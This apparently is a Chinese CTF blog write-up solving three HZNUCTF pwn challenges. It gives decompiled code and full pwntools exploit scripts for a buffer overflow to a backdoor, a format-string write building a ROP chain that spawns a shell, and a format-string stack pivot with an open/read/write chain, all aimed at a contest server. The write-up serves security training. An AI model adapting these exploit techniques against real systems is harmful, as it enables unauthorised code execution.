nyyyddddn

hznuctf

2024/04/28

easycpp

std::ios_base::width 这段代码设置了输入长度为96,buf距离rbp的距离为 0x90,不过 strcmp(s1, s2); 这里cmp成功的话走到后边cpy就会有一个溢出,程序存在一个backdoor函数,ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // rax
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
char s2[96]; // [rsp+0h] [rbp-90h] BYREF
char s1[44]; // [rsp+60h] [rbp-30h] BYREF
unsigned int v21; // [rsp+8Ch] [rbp-4h]

init();
v3 = std::operator<<<char>(&std::cout, &str02[abi:cxx11]);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<char>(&std::cout, &str03[abi:cxx11]);
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<char>(&std::cout, &str04[abi:cxx11]);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
v6 = std::operator<<<char>(&std::cout, &str05[abi:cxx11]);
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = std::operator<<<char>(&std::cout, &str06[abi:cxx11]);
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<char>(&std::cout, &str07[abi:cxx11]);
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v9 = std::operator<<<char>(&std::cout, &str08[abi:cxx11]);
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
v10 = std::operator<<<char>(&std::cout, &str09[abi:cxx11]);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
v11 = std::operator<<<char>(&std::cout, &str10[abi:cxx11]);
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
v12 = std::operator<<<char>(&std::cout, &str11[abi:cxx11]);
std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
v13 = std::operator<<<char>(&std::cout, &str12[abi:cxx11]);
v14 = std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
v15 = std::operator<<<char>(&std::cout, &str01[abi:cxx11]);
std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
v16 = std::operator<<<std::char_traits<char>>(&std::cout, "Tell me,which ctf is the best CTF?");
std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
std::ios_base::width((std::ios_base *)&unk_404250, 96LL);
std::operator>><char,std::char_traits<char>>(&std::cin, s2);
v17 = std::operator<<<std::char_traits<char>>(&std::cout, s2);
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
strcpy(s1, "HZNUCTF,bestCTF!");
v21 = strcmp(s1, s2);
std::ostream::operator<<(&std::cout, v21);
if ( v21 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Well, maybe you can try to believe HZNUCTF.");
}
else
{
memcpy(s1, s2, 0x60uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "You are right!");
std::operator<<<std::char_traits<char>>(&std::cout, s1);
}
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20023

elf = context.binary = ELF('./easycpp')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

backdoor = 0x4012FE

payload = b'HZNUCTF,bestCTF!'
payload = payload.ljust(0x18,b'\x00') + p64(backdoor) * 10
# g(p)
sla("Tell me,which ctf is the best CTF?",payload)


p.interactive()

FakeHope

保护全开,同时输入函数是 scanf %s 存在 00截断,可以找一个指向栈的双重指针,通过这个双重指针往栈上写一个地址,这样就实现任意地址读写了,通过双重指针去调整这个地址,就能实现写 四个字节 八个字节的长数据,发现是低版本的libc,csu会被编译到elf里面,本来想着在buf附近用格式化字符串写rop 用csu去调整rsp的位置,但是buf那边有几个操作会修改buf里的数据,不太好布置,然后就往返回地址那写rop, 因为程序不能正常返回,不过只需要劫持子函数的返回地址为leave ret 就能正常返回了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
hope(argc, argv, envp);
return 0;
}
unsigned __int64 hope()
{
char format[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
init();
do
{
__isoc99_scanf(&unk_2004, format);
printf(format);
putchar(10);
}
while ( strcmp(format, "exit") );
system("echo FakeHope");
return __readfsqword(0x28u) ^ v2;
}

exp写的很烂,不过懒得改了(

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20022

elf = context.binary = ELF('./FakeHope')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b"%35$p-%43$p"
sl(payload)

elf_base = int(r(14),16) - (0x64275a0c837d - 0x64275a0c7000)
success(f"elf_base ->{hex(elf_base)}")
ru('-')
libc_base = int(r(14),16) - (0x7234d1a20848 - 0x7234d1a00000)
success(f"libc_base ->{hex(libc_base)}")

rdi = elf_base + 0x0000000000001393
ret = elf_base + 0x000000000000101a
binsh = libc_base + 0x18ce57 + 0x8
system = libc_base + libc.sym['system'] + 0x8
leave_ret = elf_base + 0x000000000000130a


# 36:01b0│ 0x7ffe1c3d3a38 —▸ 0x7ffe1c3d3aa8 —▸ 0x7ffe1c3d5583 ◂— 'SHELL=/bin/bash' 59
# 44:0220│ 0x7ffe1c3d3aa8 —▸ 0x7ffe1c3d5583 ◂— 'SHELL=/bin/bash' 73

# 28:0148│ 0x7ffc11eb7fe8 —▸ 0x7ffc11eb80b8 —▸ 0x7ffc11eb9557 ◂— '/home/lhj/Desktop/hznuctf/FakeHope/FakeHope' 45
# 42:0210│ 0x7ffc11eb80b8 —▸ 0x7ffc11eb9557 ◂— '/home/lhj/Desktop/hznuctf/FakeHope/FakeHope' 71

payload = "%59$p"
sl(payload)
ru("0x")
leak = int(r(12),16) # 59 content
success(hex(leak))
return_addr = leak - (0x7ffd2282a748 - 0x7ffd2282a648)
printf_return_addr = return_addr - (0x7ffc11eb7fc8 - 0x7ffc11eb7ea8)
main = elf_base + 0x1296




payload = b"%" + str((printf_return_addr) & 0xffff).encode() + b'c%59$hn'
time.sleep(0.3)
sl(payload)



###### 在 return_addr 的位置 写一个 ret的gadget
###########################################################################
payload = b"%" + str((return_addr) & 0xffff).encode() + b'c%45$hn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)
##########################################################################






######### 在 return_addr + 8 的位置 写一个 pop rdi ret的gadget
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)
###################################################################################################################


############################################ 在 return_addr + 16 的位置 写一个 binsh字符串的地址
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)


########################### 写system函数的地址
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((leave_ret) & 0xffff).encode() + b'c%73$hn'
# g(p)
sl(payload)


p.interactive()

ez_pwn

非栈上格式化字符串orw,要过一个随机数,read那可以把随机数种子覆盖掉,然后栈迁移打orw就好了,栈迁移后会把rbp弄没,open的时候传参依赖于rbp,所以open可能会失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
sand_box(argc, argv, envp);
rand_time();
vuln();
return 0;
}

void rand_time()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]

seed = time(0LL);
printf("welcome to HZNUCTF !");
printf("Please input your name: ");
read(0, buf, 0x10uLL);
printf("Hello, %s\n", buf);
puts("I wonder if you're lucky enough");
srand(seed);
for ( i = 0; i <= 9; ++i )
{
printf("Let's guess the number: ");
__isoc99_scanf("%d", &seed);
if ( rand() != seed )
{
puts("Wrong.");
puts("Guess you weren't lucky enough.");
exit(-1);
}
puts("Right.");
}
}

__int64 vuln()
{
puts("WOW you really a lucky guy!");
puts("Then I want to know if you are capable enough.");
while ( 1 )
{
printf("Please tell us something: ");
read(0, s1, 0x80uLL);
if ( !strcmp(s1, "HZNUCTF") )
break;
printf(s1);
}
return 0LL;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
payload=cdll.rand()
sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()
CATALOG
  1. 1. easycpp
  2. 2. FakeHope
  3. 3. ez_pwn